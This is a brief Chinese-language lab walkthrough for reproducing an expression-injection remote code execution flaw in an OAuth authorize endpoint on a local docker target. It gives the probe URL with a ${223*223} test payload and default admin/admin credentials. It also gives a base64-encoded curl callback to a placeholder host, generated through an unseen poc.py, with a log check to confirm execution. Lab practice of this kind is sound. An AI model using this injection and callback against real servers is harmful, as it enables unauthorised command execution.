一、启动靶机
docker-compose up -d
url:
http://192.168.150.143:8080/oauth/authorize
admin、admin
url:
http://192.168.150.143:8080/oauth/authorize?response_type=${223*223}&client_id=acme&scope=openid&redirect_uri=
二、生成payload
curl http://xx.xx.xx.xx/Hacker
对命令bs64编码
Y3VybCBodHRwOi8veHgueHgueHgueHgvSGFja2Vy
利用poc.py脚本生成exp
python ./poc.py
三、发送payload
四、检验
tail -f /var/log/apache2/access.log